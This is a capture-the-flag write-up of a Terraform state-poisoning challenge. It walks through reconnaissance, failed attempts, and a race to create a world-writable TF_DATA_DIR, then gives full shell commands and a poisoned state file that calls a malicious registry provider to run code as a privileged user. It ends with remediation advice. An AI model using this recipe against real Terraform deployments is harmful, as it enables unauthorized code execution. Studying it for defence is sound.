State of Affairs CTF: Terraform State Poisoning - Complete Technical Writeup
Challenge Overview
This writeup documents the complete analysis of the "State of Affairs" CTF challenge from the Wiz Cloud Security Championship. The challenge required exploiting a misconfigured Terraform deployment where TF_DATA_DIR pointed to a world-writable location (/tmp/.terraform). By winning a race condition to create the Terraform data directory before the cron job's first execution, we poisoned the state file to achieve remote code execution as the privileged tfuser.
Duration: 2 days
Challenge Description
You've gained access to a container running some infrastructure automation. A cron job executes Terraform every minute to keep certificates fresh.
The flag is stored in a privileged user's home directory - but you're just a regular user with no direct access.
Can you find a way to make Terraform work for you?
Hints Provided
- "Terraform state can reference providers from any registry namespace" - Pointed toward state file poisoning with malicious providers
- "Peek at the crontab in /var/tmp/crontab" - Revealed the scheduled Terraform execution and environment variables
Initial Environment
| Property | Value |
|---|---|
| Current User | ctf (uid=101) |
| Target User | tfuser |
| TF_DATA_DIR | /tmp/.terraform (world-writable!) |
| Cron Schedule | Every minute via supercronic |
| Flag Location | /home/tfuser/flag (only readable by tfuser) |
Phase 1: Initial Reconnaissance
Environment Analysis
$ whoami
ctf
$ id
uid=101(ctf) gid=102(ctf) groups=102(ctf)
$ env | grep TF
TF_DATA_DIR=/tmp/.terraform
$ ls -la /home/tfuser/
-r-------- 1 tfuser tfgroup 40 Dec 22 12:46 flag
-rw------- 1 tfuser tfgroup 1251 Dec 22 12:45 main.tf
Key Observations
- Running as unprivileged
ctfuser TF_DATA_DIRpoints to/tmp/.terraform- a world-writable location!- Flag is only readable by
tfuser - Cannot read
main.tfto see the Terraform configuration - Cron uses
supercronicto run terraform every minute
The Attack Surface
The hint about "providers from any registry namespace" pointed us toward Terraform state file poisoning - a technique where an attacker injects a fake resource referencing a malicious provider into the state file. When Terraform sees a resource in state but not in configuration, it attempts to destroy it, which requires downloading the provider and executing its destruction logic.
Phase 2: Research & Attack Vectors
Terraform State File Attack Research
| Source | Key Insight |
|---|---|
| Plerion Blog | Original research on state file attacks |
| offensive-actions/statefile-rce | Weaponized provider for RCE via state poisoning |
| HackTricks Cloud | Terraform security attack patterns |
The Malicious Provider Technique
The offensive-actions/statefile-rce provider is designed for exactly this attack:
- Inject a fake resource into the state file referencing the malicious provider
- Terraform sees the resource exists in state but not in config
- Terraform downloads the provider during
initto destroy the resource - The provider executes an arbitrary command from the state file's
commandattribute - Provider self-cleans by removing itself from state after execution
Phase 3: Failed Attempts
Attempt 1: Direct State File Modification
Theory: Overwrite /tmp/terraform.tfstate with our poisoned version
$ cp poisoned_state.json /tmp/terraform.tfstate
cp: can't create '/tmp/terraform.tfstate': File exists
Result: FAILED - The sticky bit on /tmp prevents overwriting files owned by other users.
Attempt 2: Symlink Attack
Theory: Create symlinks to redirect terraform to our controlled files
$ mv /tmp/.terraform /tmp/.terraform.bak
mv: can't rename '/tmp/.terraform': Operation not permitted
Result: FAILED - Cannot manipulate directories owned by tfuser due to sticky bit.
Attempt 3: Provider Directory Poisoning
Theory: Inject a malicious provider binary into the providers directory
$ mkdir -p /tmp/.terraform/providers/registry.terraform.io/offensive-actions/
mkdir: can't create directory '/tmp/.terraform/providers': Permission denied
Result: FAILED - The /tmp/.terraform/ directory was already created and owned by tfuser.
Attempt 4: Environment Variable Injection
Theory: Set TF_CLI_CONFIG_FILE to use dev_overrides for provider hijacking
Result: FAILED - The cron job runs in its own environment - our shell variables don't affect it.
Attempt 5: Race Condition (First Try)
Theory: Create /tmp/.terraform/ before terraform's first run on a fresh container
Result: FAILED (timing) - We were too slow - terraform had already run and created the directory.
Phase 4: The Winning Strategy
The Race Condition (Perfected)
On a fresh container, the /tmp/.terraform/ directory doesn't exist yet. If we create it FIRST with the right structure, we control where Terraform reads its state from.
Critical Insight: The backend configuration hash must match the expected value for the local backend, or Terraform will reject our config.
The Payload Structure
The attack requires three components:
1. Create the .terraform directory structure
mkdir -p /tmp/.terraform/providers/registry.terraform.io/offensive-actions/statefile-rce/1.0.0/linux_amd64
2. Backend config pointing to our controlled state file
cat > /tmp/.terraform/terraform.tfstate << 'EOF'
{
"version": 3,
"terraform_version": "1.14.3",
"backend": {
"type": "local",
"config": {
"path": "/tmp/terraform.tfstate",
"workspace_dir": null
},
"hash": [REDACTED]
}
}
EOF
3. Poisoned main state file with RCE resource
cat > /tmp/terraform.tfstate << 'EOF'
{
"version": 4,
"terraform_version": "1.14.3",
"serial": 1,
"lineage": "pwned-1234",
"outputs": {},
"resources": [
{
"mode": "managed",
"type": "rce",
"name": "pwn",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "[COMMAND TO EXFILTRATE FLAG]",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
]
}
EOF
4. Set proper permissions
chmod -R 777 /tmp/.terraform
chmod 666 /tmp/terraform.tfstate
Phase 5: Execution & Flag Capture
The Terraform Output
After deploying the payload on a fresh container, we waited for the cron job:
$ cat /var/tmp/tfoutput.log
rce.pwn: Refreshing state... [id=rce]
Terraform will perform the following actions:
# rce.pwn will be destroyed
# (because rce.pwn is not in configuration)
- resource "rce" "pwn" {
- command = "[REDACTED]" -> null
- id = "rce" -> null
}
Plan: 4 to add, 0 to change, 1 to destroy.
rce.pwn: Destroying... [id=rce]
rce.pwn: Destruction complete after 0s
Apply complete! Resources: 4 added, 0 changed, 1 destroyed.
FLAG CAPTURED! The malicious provider executed our command during the "destroy" phase, exfiltrating the flag to a world-readable location.
Attack Flow Diagram
+------------------------------------------------------------------+
| FRESH CONTAINER |
+------------------------------------------------------------------+
|
v
+------------------------------------------------------------------+
| [1] CTF user creates /tmp/.terraform/ FIRST |
| - Backend config points to /tmp/terraform.tfstate |
| - Poisoned state references offensive-actions/statefile-rce |
+------------------------------------------------------------------+
|
v
+------------------------------------------------------------------+
| [2] Cron triggers: terraform init |
| - Reads our backend config |
| - Sees "rce.pwn" resource in state |
| - Downloads offensive-actions/statefile-rce provider |
+------------------------------------------------------------------+
|
v
+------------------------------------------------------------------+
| [3] Cron triggers: terraform apply |
| - Resource in state but not in config -> DESTROY |
| - Provider executes command from state file |
| - Provider self-cleans from state |
+------------------------------------------------------------------+
|
v
+------------------------------------------------------------------+
| [4] FLAG EXFILTRATED |
| Flag now readable by ctf user |
+------------------------------------------------------------------+
Tools Used
| Tool | Purpose |
|---|---|
| Bash | Payload creation and monitoring |
| Web Research | Attack technique research |
ps, ls, cat |
Environment reconnaissance |
stat |
File timestamp analysis for race condition verification |
Key Insights & Lessons Learned
TF_DATA_DIRin world-writable locations is dangerous - It allows attackers to control Terraform's backend configuration and state file location.- Terraform Registry is open to anyone - The
offensive-actions/statefile-rceprovider is publicly available, demonstrating how supply chain attacks work. - Race conditions matter - Being first to create shared directories can mean the difference between success and failure.
- Backend config hash validation exists but can be matched - Using the correct hash was essential for Terraform to accept our config.
- State files are security-critical - Write access to a Terraform state file effectively equals code execution.
Remediation Recommendations
For defenders encountering similar configurations:
1. Never use world-writable directories for TF_DATA_DIR
Use properly permissioned directories that only the Terraform execution principal can access.
2. Restrict state file access
Only the Terraform execution principal should have read/write access to state files.
3. Use provider lock files
Pin provider versions and verify checksums via .terraform.lock.hcl.
4. Enable state locking
Prevents concurrent modifications and some race conditions.
5. Consider remote backends
S3/GCS with proper IAM policies are more secure than local state files.
Conclusion
The "State of Affairs" challenge was an excellent demonstration of Terraform supply chain security risks. The combination of:
- Misconfigured
TF_DATA_DIRpointing to/tmp - The open nature of the Terraform Registry
- State file poisoning techniques
...created a realistic attack scenario that mirrors real-world Terraform security vulnerabilities.
Challenge created by Pasha Resnianski as part of The Ultimate Cloud Security Championship by Wiz. Writeup completed: January 2026